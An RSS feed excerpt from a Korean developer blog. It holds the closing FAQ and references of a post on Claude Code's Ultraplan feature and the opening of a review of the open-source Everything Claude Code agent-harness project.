&lt;p data-ke-size=&quot;size16&quot;&gt;A: 알려진 버그다. Ultraplan 승인 후 Plan Mode 제약이 위반되는 문제로, 2026-04-08 기준 미해결 상태다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code/issues/43576&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issues #43576&lt;/a&gt;에 리포트되어 있다. 임시 해결책으로 Ultraplan 결과를 받은 후 수동으로 플랜 파일을 확인하고 소스 편집 전에 플랜 내용을 검토한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q: &quot;커스텀 skill이 Ultraplan에서 작동하지 않아요&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A: 클라우드 세션은 저장소 클론에서 시작하므로, &lt;b&gt;프로젝트에 커밋된 &lt;code&gt;.claude/skills/&lt;/code&gt;는 정상 작동한다.&lt;/b&gt; 작동하지 않는 것은 &lt;code&gt;~/.claude/&lt;/code&gt; 아래의 유저 레벨 설정이며, 이는 설계상 클라우드에 동기화되지 않는다. skill을 클라우드에서 사용하려면 프로젝트 저장소에 커밋하면 된다. 별도로 v0.88+ 버전에서 skill 로딩 자체의 버그가 리포트되어 있다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code/issues/41882&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #41882&lt;/a&gt;, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code/issues/41243&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #41243&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q: &quot;Ultraplan이 얼마나 빠른가요? 11배라는 말이 사실인가요?&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A: &quot;11배 빠름&quot;은 단일 커뮤니티 사례에서 나온 수치로 독립 검증이 어렵다. 커뮤니티 테스트 기준 &quot;약 2배 빠름&quot;이 더 일반적인 기준치로 보인다. 속도 향상의 본질은 클라우드 병렬 에이전트 아키텍처에 있으며, 작업 복잡도가 높을수록 이점이 커진다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;최종 결론: 지금 당장 써야 하는가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ultraplan은 강력하지만 아직 완성되지 않은 도구다. 다음 기준으로 결정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;지금 쓸 것&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;대규모 코드베이스 리팩토링이 필요한 경우&lt;/li&gt;
&lt;li&gt;팀과 함께 플랜을 검토하고 싶은 경우&lt;/li&gt;
&lt;li&gt;터미널 차단 없이 긴 플래닝이 필요한 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;아직 기다릴 것&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;유저 레벨(~/.claude/) skill에 의존하고 프로젝트 커밋이 어려운 워크플로우&lt;/li&gt;
&lt;li&gt;로컬 파일 시스템에 직접 접근해야 하는 작업&lt;/li&gt;
&lt;li&gt;Bedrock / Vertex AI / Foundry 환경을 사용하는 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ultraplan은 AI 통제력 진화의 세 번째 단계인 하네스 엔지니어링의 실제 구현이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 research preview 단계이고 제약도 있지만, 방향성은 분명하다. 클라우드 에이전트가 코드베이스를 이해하고 플랜을 세우는 시대가 시작됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 참고 자료 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;참고 자료&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultraplan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code Ultraplan 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/claude-code-on-the-web&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code on the web 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/pricing/max&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Max 플랜 공식 페이지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code GitHub 저장소&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code-action&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code GitHub Action&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code/issues/43576&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #43576: Ultraplan 승인 후 Plan Mode 위반&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code/issues/41882&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #41882: 커스텀 커맨드/스킬 오작동&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://techsy.io/blog/claude-code-leaked-features-2026&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code 소스코드 유출 분석&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 푸터 --&gt;&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>CCR Cloud Container Runtime</category>
      <category>Claude Code Plan Mode</category>
      <category>Claude Code Ultraplan</category>
      <category>Claude Code 리뷰</category>
      <category>Claude Code 텔레포트</category>
      <category>Claude Max 플랜</category>
      <category>병렬 에이전트 아키텍처</category>
      <category>커스텀 Skill 버그</category>
      <category>클라우드 플래닝</category>
      <category>하네스 엔지니어링</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/576</guid>
      <comments>https://goddaehee.tistory.com/576#entry576comment</comments>
      <pubDate>Thu, 9 Apr 2026 19:00:17 +0900</pubDate>
    </item>
    <item>
      <title>&amp;quot;하네스 엔지니어링&amp;quot; - Everything Claude Code 리뷰 : 혼자서 팀처럼 개발하는 에이전트 셋업(ECC 하네스 셋업으로 생산성 2배 끌어올리기)</title>
      <link>https://goddaehee.tistory.com/575</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2354&quot; data-origin-height=&quot;1500&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/diDxvE/dJMcaaLzqqv/y4WS8DIL6wq6FdK7ixUK51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/diDxvE/dJMcaaLzqqv/y4WS8DIL6wq6FdK7ixUK51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/diDxvE/dJMcaaLzqqv/y4WS8DIL6wq6FdK7ixUK51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdiDxvE%2FdJMcaaLzqqv%2Fy4WS8DIL6wq6FdK7ixUK51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2354&quot; height=&quot;1500&quot; data-origin-width=&quot;2354&quot; data-origin-height=&quot;1500&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;오늘은 GitHub에서 &lt;b&gt;133,000+ Star&lt;/b&gt;(2026년 4월 3일 GitHub 기준)를 기록하며 폭발적인 관심을 받고 있는 &lt;b&gt;Everything Claude Code (ECC)&lt;/b&gt; 프로젝트에 대해 알아보려고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;ECC는 Claude Code, Cursor, Codex 등 AI 코딩 에이전트를 사용하는 개발자라면 알아두면 유용한 성능 최적화 시스템이다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Everything Claude Code 소개
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;프로젝트 개요&lt;/li&gt;
&lt;li&gt;Anthropic 해커톤 우승 배경&lt;/li&gt;
&lt;li&gt;왜 주목해야 하는가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;프로젝트 전체 구조
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;디렉토리 구성&lt;/li&gt;
&lt;li&gt;핵심 구성요소 한눈에 보기&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;3대 가이드 &amp;mdash; Shortform / Longform / Security
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Shortform Guide &amp;mdash; 기본기 다지기&lt;/li&gt;
&lt;li&gt;Longform Guide &amp;mdash; 고급 패턴&lt;/li&gt;
&lt;li&gt;Security Guide &amp;mdash; 에이전트 보안&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;핵심 구성요소 상세
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Agents (36개 전문 에이전트)&lt;/li&gt;
&lt;li&gt;Skills (151개 워크플로우 스킬)&lt;/li&gt;
&lt;li&gt;Commands (68개 레거시 슬래시 엔트리)&lt;/li&gt;
&lt;li&gt;Hooks (자동화 훅 시스템)&lt;/li&gt;
&lt;li&gt;Rules (12개 언어/생태계 규칙)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;크로스 플랫폼 지원
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Claude Code, Codex, Cursor, OpenCode 중심의 크로스 하네스 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;AgentShield &amp;mdash; 보안 스캐너
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;주요 기능&lt;/li&gt;
&lt;li&gt;사용법&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;토큰 최적화 &amp;amp; Continuous Learning
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모델 라우팅 전략&lt;/li&gt;
&lt;li&gt;Instinct 시스템&lt;/li&gt;
&lt;li&gt;컨텍스트 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;설치 및 시작 가이드
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;설치 방법 4가지&lt;/li&gt;
&lt;li&gt;프로파일 선택&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 활용 팁
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;병렬 작업 패턴&lt;/li&gt;
&lt;li&gt;Two-Instance Kickoff&lt;/li&gt;
&lt;li&gt;주의사항&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응과 주의사항
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;긍정적 반응&lt;/li&gt;
&lt;li&gt;비판과 우려&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 요약 박스 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Everything Claude Code (ECC) 가이드&lt;/b&gt;&lt;br /&gt;ECC는 단순한 설정 파일 모음이 아니다. 36개 전문 에이전트, 151개 워크플로우 스킬, 68개 레거시 슬래시 엔트리, 자동화 훅 시스템, 보안 스캐너까지 포함한 &lt;b&gt;에이전트 하네스 성능 최적화 시스템&lt;/b&gt;이다.&lt;br /&gt;Claude Code, Codex, Cursor, OpenCode를 중심으로 Antigravity와 Gemini CLI(실험적)까지 문서화된 크로스 하네스 생태계를 갖추고 있다.&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;1086&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WPrYW/dJMcaiJyGal/ku1KnfjxvUYFZuMMOsKGm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WPrYW/dJMcaiJyGal/ku1KnfjxvUYFZuMMOsKGm1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WPrYW/dJMcaiJyGal/ku1KnfjxvUYFZuMMOsKGm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWPrYW%2FdJMcaiJyGal%2Fku1KnfjxvUYFZuMMOsKGm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2008&quot; height=&quot;1086&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: 소개 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Everything Claude Code 소개&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;프로젝트 개요&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Everything Claude Code (ECC)&lt;/b&gt;는 Affaan Mustafa가 만든 오픈소스 프로젝트로,&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI 코딩 에이전트의 성능을 체계적으로 끌어올리는 통합 시스템이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;836&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbSdRo/dJMcaco5xLh/QIFhfUNebjPYmUu19zSJj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbSdRo/dJMcaco5xLh/QIFhfUNebjPYmUu19zSJj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbSdRo/dJMcaco5xLh/QIFhfUNebjPYmUu19zSJj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbSdRo%2FdJMcaco5xLh%2FQIFhfUNebjPYmUu19zSJj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1534&quot; height=&quot;836&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;836&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;&quot;에이전트 하네스(Agent Harness)&quot;란?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;테스트 하네스가 테스트 환경을 제어하듯, &lt;b&gt;에이전트 하네스&lt;/b&gt;는 AI 에이전트의 입력(프롬프트, 규칙), 출력(훅, 검증), 도구 접근(권한)을 체계적으로 관리하는 외부 프레임워크를 말한다. &lt;br /&gt;ECC는 스스로를 &quot;에이전트 하네스 성능 최적화 시스템&quot;이라고 정의한다.&lt;/p&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1556&quot; data-origin-height=&quot;850&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7m6U6/dJMb996XV3G/KLzPYB6AoKiKhRtb37d0Q1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7m6U6/dJMb996XV3G/KLzPYB6AoKiKhRtb37d0Q1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7m6U6/dJMb996XV3G/KLzPYB6AoKiKhRtb37d0Q1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7m6U6%2FdJMb996XV3G%2FKLzPYB6AoKiKhRtb37d0Q1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1556&quot; height=&quot;850&quot; data-origin-width=&quot;1556&quot; data-origin-height=&quot;850&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;GitHub&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://github.com/affaan-m/everything-claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;github.com/affaan-m/everything-claude-code&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Stars&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;133,000+ (2026년 4월 3일 GitHub 기준)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;npm 패키지&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;ecc-universal&lt;/code&gt; (v1.9.0)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;라이선스&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;MIT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;지원 플랫폼&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Claude Code, Codex, Cursor, OpenCode, Antigravity, Gemini CLI(실험적)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;웹사이트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://ecc.tools&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ecc.tools&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Anthropic 해커톤 우승 배경&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;제작자 Affaan Mustafa는 &lt;b&gt;2025년 9월 Anthropic x Forum Ventures 해커톤&lt;/b&gt;(NYC)에서 우승한 바 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;팀원 @DRodriguezFX와 함께 8시간 만에 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://zenith.chat&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;zenith.chat&lt;/a&gt;를 Claude Code만으로 구축하여 1위를 차지했다. 제작자 개인 사이트 기준 약 75명 참가자 중 1위이며, &lt;b&gt;API 크레딧(제작자 자기 주장 기준 $15,000 상당)&lt;/b&gt;을 수상했다.&lt;/p&gt;
&lt;small style=&quot;color: #666;&quot;&gt;참가자 수와 상금은 공식 행사 페이지에 금액 미기재. 출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://affaanmustafa.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;제작자 개인 사이트&lt;/a&gt; / &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.forumvc.com/forum-ventures-x-anthropic-ai-hackathon&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Forum Ventures 공식 페이지&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이후 2026년 2월 &lt;b&gt;Cerebral Valley x Anthropic 해커톤&lt;/b&gt;에서는 보안 스캐너인 AgentShield를 개발했다. 이 두 해커톤의 경험과 10개월 이상의 Claude Code 집중 사용 노하우가 ECC에 녹아 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;검증된 출처&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;해커톤 우승 사실은 God of Prompt(@godofprompt)의 X 포스트, Medium 기사(Joe Njenga), Dev Genius 기사(JP Caparas), Forum Ventures 공식 사이트 등 다수의 독립 출처에서 확인된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;왜 주목해야 하는가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC가 단순한 CLAUDE.md 설정 모음과 다른 점은 다음과 같다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;통합 시스템:&lt;/b&gt; 에이전트 + 스킬 + 명령어 + 훅 + 규칙이 유기적으로 연동되는 피드백 루프 구조&lt;/li&gt;
